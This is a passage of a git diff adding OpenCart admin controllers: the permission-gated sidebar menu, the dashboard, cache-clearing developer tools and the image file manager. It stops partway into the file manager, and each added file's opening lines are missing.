+ $data['menus'][] = array(
+ 'id' => 'menu-service',
+ 'icon' => 'fa-wrench',
+ 'name' => $this->language->get('text_service_title'),
+ 'href' => '',
+ 'children' => $service
+ );
+ }
+
+ // Extension
+ $marketplace = array();
+
+ if ($this->user->hasPermission('access', 'marketplace/opencartforum')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_opencartforum'),
+ 'href' => $this->url->link('marketplace/opencartforum', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/marketplace')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_marketplace'),
+ 'href' => $this->url->link('marketplace/marketplace', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/installer')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_installer'),
+ 'href' => $this->url->link('marketplace/installer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/extension')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'].'&type=module', true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/modification')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_modification'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/event')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_event'),
+ 'href' => $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($marketplace) {
+ $data['menus'][] = array(
+ 'id' => 'menu-extension',
+ 'icon' => 'fa-puzzle-piece',
+ 'name' => $this->language->get('text_extension'),
+ 'href' => '',
+ 'children' => $marketplace
+ );
+ }
+
+ // Design
+ $design = array();
+
+ if ($this->user->hasPermission('access', 'design/layout')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_layout'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/theme')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_theme'),
+ 'href' => $this->url->link('design/theme', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/translation')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_language_editor'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/banner')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_banner'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/seo_url')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_seo_url'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($design) {
+ $data['menus'][] = array(
+ 'id' => 'menu-design',
+ 'icon' => 'fa-television',
+ 'name' => $this->language->get('text_design'),
+ 'href' => '',
+ 'children' => $design
+ );
+ }
+
+ // Sales
+ $sale = array();
+
+ if ($this->user->hasPermission('access', 'sale/order')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_order'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/recurring')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_order_recurring'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/return')) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_return'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Voucher
+ $voucher = array();
+
+ if ($this->user->hasPermission('access', 'sale/voucher')) {
+ $voucher[] = array(
+ 'name' => $this->language->get('text_voucher'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'sale/voucher_theme')) {
+ $voucher[] = array(
+ 'name' => $this->language->get('text_voucher_theme'),
+ 'href' => $this->url->link('sale/voucher_theme', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($voucher) {
+ $sale[] = array(
+ 'name' => $this->language->get('text_voucher'),
+ 'href' => '',
+ 'children' => $voucher
+ );
+ }
+
+ if ($sale) {
+ $data['menus'][] = array(
+ 'id' => 'menu-sale',
+ 'icon' => 'fa-shopping-cart',
+ 'name' => $this->language->get('text_sale'),
+ 'href' => '',
+ 'children' => $sale
+ );
+ }
+
+ // Customer
+ $customer = array();
+
+ if ($this->user->hasPermission('access', 'customer/customer')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/customer_group')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer_group'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/customer_approval')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_customer_approval'),
+ 'href' => $this->url->link('customer/customer_approval', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'customer/custom_field')) {
+ $customer[] = array(
+ 'name' => $this->language->get('text_custom_field'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($customer) {
+ $data['menus'][] = array(
+ 'id' => 'menu-customer',
+ 'icon' => 'fa-user',
+ 'name' => $this->language->get('text_customer'),
+ 'href' => '',
+ 'children' => $customer
+ );
+ }
+
+ // Marketing
+ $marketing = array();
+
+ if ($this->user->hasPermission('access', 'marketing/marketing')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_marketing'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketing/coupon')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_coupon'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketing/contact')) {
+ $marketing[] = array(
+ 'name' => $this->language->get('text_contact'),
+ 'href' => $this->url->link('marketing/contact', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($marketing) {
+ $data['menus'][] = array(
+ 'id' => 'menu-marketing',
+ 'icon' => 'fa-share-alt',
+ 'name' => $this->language->get('text_marketing'),
+ 'href' => '',
+ 'children' => $marketing
+ );
+ }
+
+ // System
+ $system = array();
+
+ if ($this->user->hasPermission('access', 'setting/setting')) {
+ $system[] = array(
+ 'name' => $this->language->get('text_setting'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Users
+ $user = array();
+
+ if ($this->user->hasPermission('access', 'user/user')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_users'),
+ 'href' => $this->url->link('user/user', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'user/user_permission')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_user_group'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'user/api')) {
+ $user[] = array(
+ 'name' => $this->language->get('text_api'),
+ 'href' => $this->url->link('user/api', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($user) {
+ $system[] = array(
+ 'name' => $this->language->get('text_users'),
+ 'href' => '',
+ 'children' => $user
+ );
+ }
+
+ // Localisation
+ $localisation = array();
+
+ if ($this->user->hasPermission('access', 'localisation/location')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_location'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/language')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_language'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/currency')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_currency'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/stock_status')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_stock_status'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/order_status')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_order_status'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Returns
+ $return = array();
+
+ if ($this->user->hasPermission('access', 'localisation/return_status')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_status'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/return_action')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_action'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/return_reason')) {
+ $return[] = array(
+ 'name' => $this->language->get('text_return_reason'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($return) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_return'),
+ 'href' => '',
+ 'children' => $return
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/country')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_country'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/zone')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_zone'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/geo_zone')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_geo_zone'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Tax
+ $tax = array();
+
+ if ($this->user->hasPermission('access', 'localisation/tax_class')) {
+ $tax[] = array(
+ 'name' => $this->language->get('text_tax_class'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/tax_rate')) {
+ $tax[] = array(
+ 'name' => $this->language->get('text_tax_rate'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($tax) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_tax'),
+ 'href' => '',
+ 'children' => $tax
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/length_class')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_length_class'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'localisation/weight_class')) {
+ $localisation[] = array(
+ 'name' => $this->language->get('text_weight_class'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($localisation) {
+ $system[] = array(
+ 'name' => $this->language->get('text_localisation'),
+ 'href' => '',
+ 'children' => $localisation
+ );
+ }
+
+ // Tools
+ $maintenance = array();
+
+ if ($this->user->hasPermission('access', 'tool/upgrade')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_upgrade'),
+ 'href' => $this->url->link('tool/upgrade', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/backup')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_backup'),
+ 'href' => $this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/upload')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_upload'),
+ 'href' => $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'tool/log')) {
+ $maintenance[] = array(
+ 'name' => $this->language->get('text_log'),
+ 'href' => $this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($maintenance) {
+ $system[] = array(
+ 'id' => 'menu-maintenance',
+ 'icon' => 'fa-cog',
+ 'name' => $this->language->get('text_maintenance'),
+ 'href' => '',
+ 'children' => $maintenance
+ );
+ }
+
+ if ($system) {
+ $data['menus'][] = array(
+ 'id' => 'menu-system',
+ 'icon' => 'fa-cog',
+ 'name' => $this->language->get('text_system'),
+ 'href' => '',
+ 'children' => $system
+ );
+ }
+
+ $report = array();
+
+ if ($this->user->hasPermission('access', 'report/report')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_reports'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'report/online')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_online'),
+ 'href' => $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'report/statistics')) {
+ $report[] = array(
+ 'name' => $this->language->get('text_statistics'),
+ 'href' => $this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($report) {
+ $data['menus'][] = array(
+ 'id' => 'menu-report',
+ 'icon' => 'fa-bar-chart',
+ 'name' => $this->language->get('text_reports'),
+ 'href' => '',
+ 'children' => $report
+ );
+ }
+
+ // Stats
+ if ($this->user->hasPermission('access', 'report/statistics')) {
+ $this->load->model('sale/order');
+
+ $order_total = (float)$this->model_sale_order->getTotalOrders();
+
+ $this->load->model('report/statistics');
+
+ $complete_total = (float)$this->model_report_statistics->getValue('order_complete');
+
+ if ($complete_total && $order_total) {
+ $data['complete_status'] = round(($complete_total / $order_total) * 100);
+ } else {
+ $data['complete_status'] = 0;
+ }
+
+ $processing_total = (float)$this->model_report_statistics->getValue('order_processing');
+
+ if ($processing_total && $order_total) {
+ $data['processing_status'] = round(($processing_total / $order_total) * 100);
+ } else {
+ $data['processing_status'] = 0;
+ }
+
+ $other_total = (float)$this->model_report_statistics->getValue('order_other');
+
+ if ($other_total && $order_total) {
+ $data['other_status'] = round(($other_total / $order_total) * 100);
+ } else {
+ $data['other_status'] = 0;
+ }
+
+ $data['statistics_status'] = true;
+ } else {
+ $data['statistics_status'] = false;
+ }
+
+ return $this->load->view('common/column_left', $data);
+ }
+ }
+}
diff --git a/public/admin/controller/common/dashboard.php b/public/admin/controller/common/dashboard.php
new file mode 100644
index 0000000..b634d6c
--- /dev/null
+++ b/public/admin/controller/common/dashboard.php
@@ -0,0 +1,101 @@
+load->language('common/dashboard');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ // Check install directory exists
+ if (is_dir(DIR_CATALOG . '../install')) {
+ $data['error_install'] = $this->language->get('error_install');
+ } else {
+ $data['error_install'] = '';
+ }
+
+ // Dashboard Extensions
+ $dashboards = array();
+
+ $this->load->model('setting/extension');
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('dashboard');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ if ($this->config->get('dashboard_' . $code . '_status') && $this->user->hasPermission('access', 'extension/dashboard/' . $code)) {
+ $output = $this->load->controller('extension/dashboard/' . $code . '/dashboard');
+
+ if ($output) {
+ $dashboards[] = array(
+ 'code' => $code,
+ 'width' => $this->config->get('dashboard_' . $code . '_width'),
+ 'sort_order' => $this->config->get('dashboard_' . $code . '_sort_order'),
+ 'output' => $output
+ );
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($dashboards as $key => $value) {
+ $sort_order[$key] = $value['sort_order'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $dashboards);
+
+ // Split the array so the columns width is not more than 12 on each row.
+ $width = 0;
+ $column = array();
+ $data['rows'] = array();
+
+ foreach ($dashboards as $dashboard) {
+ $column[] = $dashboard;
+
+ $width = ($width + $dashboard['width']);
+
+ if ($width >= 12) {
+ $data['rows'][] = $column;
+
+ $width = 0;
+ $column = array();
+ }
+ }
+
+ if (!empty($column)) {
+ $data['rows'][] = $column;
+ }
+
+ if (DIR_STORAGE == DIR_SYSTEM . 'storage/') {
+ $data['security'] = $this->load->controller('common/security');
+ } else {
+ $data['security'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ // Run currency update
+ if ($this->config->get('config_currency_auto')) {
+ $this->load->model('localisation/currency');
+ $this->load->controller('extension/currency/' . $this->config->get('config_currency_engine')."/currency" , $this->config->get('config_currency'));
+ }
+
+ $this->response->setOutput($this->load->view('common/dashboard', $data));
+ }
+}
diff --git a/public/admin/controller/common/developer.php b/public/admin/controller/common/developer.php
new file mode 100644
index 0000000..6d1844e
--- /dev/null
+++ b/public/admin/controller/common/developer.php
@@ -0,0 +1,195 @@
+load->language('common/developer');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['developer_theme'] = $this->config->get('developer_theme');
+
+ $eval = false;
+
+ $eval = '$eval = true;';
+
+ eval($eval);
+
+ if ($eval === true) {
+ $data['eval'] = true;
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', array('developer_theme' => 1), 0);
+
+ $data['eval'] = false;
+ }
+
+ $this->response->setOutput($this->load->view('common/developer', $data));
+ }
+
+ public function edit() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', $this->request->post, 0);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function theme() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $directories = glob(DIR_CACHE . '/template/*', GLOB_ONLYDIR);
+
+ if ($directories) {
+ foreach ($directories as $directory) {
+ $files = glob($directory . '/*');
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ rmdir($directory);
+ }
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_theme'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function systemcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $files = glob(DIR_CACHE . 'cache.*');
+
+ if (!empty($files)) {
+ foreach($files as $file){
+ $this->deldir($file);
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_systemcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function imgcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $imgfiles = glob(DIR_IMAGE . 'cache/*');
+
+ if (!empty($imgfiles)) {
+ foreach($imgfiles as $imgfile){
+ $this->deldir($imgfile);
+ }
+ }
+
+ $json['success'] = sprintf($this->language->get('text_img_cache'), $this->language->get('text_imgcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function allcache() {
+ $this->load->language('common/developer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'common/developer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $files = glob(DIR_CACHE . 'cache.*');
+
+ if (!empty($files)) {
+ foreach($files as $file){
+ $this->deldir($file);
+ }
+ }
+
+ $imgfiles = glob(DIR_IMAGE . 'cache/*');
+
+ if (!empty($imgfiles)) {
+ foreach($imgfiles as $imgfile){
+ $this->deldir($imgfile);
+ }
+ }
+
+ $directories = glob(DIR_CACHE . '*', GLOB_ONLYDIR);
+
+ if ($directories) {
+ foreach ($directories as $directory) {
+ $files = glob($directory . '/*');
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ $this->deldir($directory);
+ }
+ }
+ }
+
+
+
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_allcache'));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function deldir($dirname){
+ if(file_exists($dirname)) {
+ if(is_dir($dirname)){
+ $dir=opendir($dirname);
+ while(($filename=readdir($dir)) !== false){
+ if($filename!="." && $filename!=".."){
+ $file=$dirname."/".$filename;
+ $this->deldir($file);
+ }
+ }
+ closedir($dir);
+ rmdir($dirname);
+ } else {
+ @unlink($dirname);
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/common/filemanager.php b/public/admin/controller/common/filemanager.php
new file mode 100644
index 0000000..846ec0f
--- /dev/null
+++ b/public/admin/controller/common/filemanager.php
@@ -0,0 +1,437 @@
+load->language('common/filemanager');
+
+ // Find which protocol to use to pass the full image link back
+ if ($this->request->server['HTTPS']) {
+ $server = HTTPS_CATALOG;
+ } else {
+ $server = HTTP_CATALOG;
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = rtrim(str_replace(array('*', '/', '\\'), '', $this->request->get['filter_name']), '/');
+ } else {
+ $filter_name = '';
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . trim(str_replace('*', '', $this->request->get['directory']), '/'), '/');
+ } else if (!empty($this->session->data['file_manager_directory'])) {
+ $directory = $this->session->data['file_manager_directory'];
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ if (!file_exists($directory)) $directory = DIR_IMAGE . 'catalog';
+ $this->session->data['file_manager_directory'] = $directory;
+
+ $path = '/' . trim(utf8_substr($directory, utf8_strlen(DIR_IMAGE . 'catalog')), '/');
+
+ if ($directory != DIR_IMAGE . 'catalog' && !isset($this->request->get['directory'])) $this->request->get['directory'] = $path;
+
+ $data['heading_title'] = $this->language->get('heading_title') . ' - ' . $path;
+
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $directories = array();
+ $files = array();
+
+ $data['images'] = array();
+
+ $this->load->model('tool/image');
+
+ if (utf8_substr(str_replace('\\', '/', realpath($directory) . '/' . $filter_name), 0, utf8_strlen(DIR_IMAGE . 'catalog')) == str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ // Get directories
+ $directories = glob($directory . '/' . $filter_name . '*', GLOB_ONLYDIR);
+
+ if (!$directories) {
+ $directories = array();
+ }
+
+ // Get files
+ $files = glob($directory . '/' . $filter_name . '*.{jpg,jpeg,png,gif,JPG,JPEG,PNG,GIF}', GLOB_BRACE);
+
+ if (!$files) {
+ $files = array();
+ }
+ }
+
+ // Merge directories and files
+ $images = array_merge($directories, $files);
+
+ // Get total number of files and directories
+ $image_total = count($images);
+
+ // Split the array based on current page number and max number of items per page of 10
+ $images = array_splice($images, ($page - 1) * 16, 16);
+
+ foreach ($images as $image) {
+ $name = $this->basename_fixed($image);
+
+ if (is_dir($image)) {
+ $url = '';
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['images'][] = array(
+ 'thumb' => '',
+ 'name' => $name,
+ 'type' => 'directory',
+ 'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
+ 'href' => $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . '&directory=' . urlencode(utf8_substr($image, utf8_strlen(DIR_IMAGE . 'catalog/'))) . $url, true)
+ );
+ } elseif (is_file($image)) {
+ $data['images'][] = array(
+ 'thumb' => $this->model_tool_image->resize(utf8_substr($image, utf8_strlen(DIR_IMAGE)), 100, 100),
+ 'name' => $name,
+ 'type' => 'image',
+ 'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
+ 'href' => $server . 'image/' . utf8_substr($image, utf8_strlen(DIR_IMAGE))
+ );
+ }
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['directory'])) {
+ $data['directory'] = urlencode($this->request->get['directory']);
+ } else {
+ $data['directory'] = '';
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $data['filter_name'] = $this->request->get['filter_name'];
+ } else {
+ $data['filter_name'] = '';
+ }
+
+ // Return the target ID for the file manager to set the value
+ if (isset($this->request->get['target'])) {
+ $data['target'] = $this->request->get['target'];
+ } else {
+ $data['target'] = '';
+ }
+
+ // Return the thumbnail for the file manager to show a thumbnail
+ if (isset($this->request->get['thumb'])) {
+ $data['thumb'] = $this->request->get['thumb'];
+ } else {
+ $data['thumb'] = '';
+ }
+
+ // Parent
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $dir_part = explode('/', $this->request->get['directory']);
+
+ array_pop($dir_part);
+
+ $url .= '&directory=' . urlencode(implode('/', $dir_part));
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['parent'] = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ // Refresh
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $url .= '&directory=' . urlencode($this->request->get['directory']);
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $data['refresh'] = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['directory'])) {
+ $url .= '&directory=' . urlencode(html_entity_decode($this->request->get['directory'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['target'])) {
+ $url .= '&target=' . $this->request->get['target'];
+ }
+
+ if (isset($this->request->get['thumb'])) {
+ $url .= '&thumb=' . $this->request->get['thumb'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $image_total;
+ $pagination->page = $page;
+ $pagination->limit = 16;
+ $pagination->url = $this->url->link('common/filemanager', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $this->response->setOutput($this->load->view('common/filemanager', $data));
+ }
+
+ // FIX: basename not work with UTF-8 multibyte names
+ private function basename_fixed($path) {
+ $path_part = explode('/', $path);
+ return array_pop($path_part);
+ }
+
+ public function upload() {
